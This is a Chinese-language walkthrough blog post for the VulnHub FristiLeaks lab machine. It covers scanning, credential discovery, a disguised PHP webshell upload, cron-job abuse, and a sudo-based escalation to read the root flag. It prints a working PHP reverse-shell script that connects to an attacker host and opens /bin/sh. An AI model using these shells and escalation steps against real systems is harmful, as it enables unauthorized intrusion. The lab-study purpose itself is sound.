NEKO

vulnhub-FristiLeaks

2018/07/25

在公司闲着摸鱼划水,正好看到红日团队做过这系列的教程,于是打算动笔自己也记录一下.

主机扫描

1
netdiscover -r 10.10.10.0/24  (同一个局域网内)

或者

1
nmap -sP 10.10.10.0/24

确认主机ip:10.10.10.188

服务扫描

1
nmap -sS -Pn -T4  10.10.10.188
  • -sS:SYN扫描
  • -Pn:不进行Ping操作,将所有指定的主机视作开启的,跳过主机发现的过程
  • -T4:–T:设置时间模板,分别与数字0-5对应;前两种模式用于IDS躲避,Polite模式降低了扫描 速度以使用更少的带宽和目标主机资源。默认模式为Normal,因此-T3 实际上是未做任何优化。Aggressive模式假设用户具有合适及可靠的网络从而加速扫描。Insane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性

结果:

1
80/tcp open  http

80端口发现http服务.

对80端口进行详细探测

1
nmap -A -O -p80 10.10.10.188
  • -A:这个选项启用额外的高级和高强度选项,自带显示版本信息,包含-sV
  • -O:探测系统信息
    结果:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
    | http-methods:
    |_ Potentially risky methods: TRACE
    | http-robots.txt: 3 disallowed entries
    |_/cola /sisi /beer
    |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
    |_http-title: Site doesn't have a title (text/html; charset=UTF-8).

    Running: Linux 2.6.X|3.X

发现三个目录:/cola,/sisi,/beer

扫描目录

1
python3 dirsearch.py -u http://10.10.10.188/ -e *

或kali下

1
dirb http://10.10.10.188/

发现robots.txt

找后台

/cola,/sisi,/beer三个目录全是无效目录
根据题目猜测出后台地址

1
http://10.10.10.188/fristi/

再次扫描目录

1
python3 dirsearch.py -u http://10.10.10.188/fristi/ -e *

发现 /fristi/uploads/目录,但需要登录后才能上传.

登录后台

查看源代码,发现eezeepz留下的base64注释,base64转图片:https://www.base64decode.org/
得到图片内容:keKkeKKeKKeKkEkkEk
猜测用户名:eezeepz
密码:keKkeKKeKKeKkEkkEk
成功登陆.

上传木马

这里有点疑惑.
上传很好绕过,命名为shell.php.jpg即可,但是居然能解析jpg为php是什么操作??而且上传shell.jpg却无法解析.如果是apache识别不了.jpg后缀转而识别.php的话,但直接上传一个图片却可以显示,暂时无法理解什么原因.
上传一句话.
蚁剑链接.

提权

蚁剑连接后:
/home/admin无权限
在/home/eezeepz/notes.txt发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

表示/tmp/runthis里的命令每分钟都会以作者的权限运行.
在/tmp里创建runthis文件:

1
/home/admin/chmod 777 /home/admin

等一分钟
便可以进入admin目录.
发现crypedpass.txt,cryptpass.py,whoisyourgodnow.txt三个文件
解密cryptedpass.txt与whoisyourgodnow.txt:

1
2
3
4
5
s='...'
print s.decode('rot13')[::-1].decode('base64')
分别求出
thisisalsopw123
LetThereBeFristi!

应该是两个2密码,猜测是不是别的用户的密码

登录别的用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(apache:/etc) $ cat passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

尝试登陆admin,fristigod,fristi.
(apache:/etc) $ su admin
standard in must be a tty
使用 python -c 'import pty;pty.spawn("/bin/sh")'建立个tty层的shell
然而蚁剑的shell窗口执行这条命令一直出错
创建一个php反弹shell到kali上就没问题了.
php反弹shell脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$ip = '10.10.10.135';
$port = 2333;

$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

使用密码LetThereBeFristi!登录fristigod用户

获取flag

查看此用户可进行的项目:
sudo -l

1
2
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

发现doCom是需要root权限的.
打开/var/fristigod/.bash_history:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

发现fristigod一直通过fristi用户使用doCom来执行命令

效仿此操作

最终在/root中找到flag

1
2
3
4
5
6
7
8
9
10
sudo -u fristi ./doCom cat /root/fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1

原文作者: n3k0

发表日期: July 25th 2018, 4:19:27

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. 主机扫描
  2. 2. 服务扫描
  3. 3. 对80端口进行详细探测
  4. 4. 扫描目录
  5. 5. 找后台
  6. 6. 再次扫描目录
  7. 7. 登录后台
  8. 8. 上传木马
  9. 9. 提权
  10. 10. 登录别的用户
  11. 11. 获取flag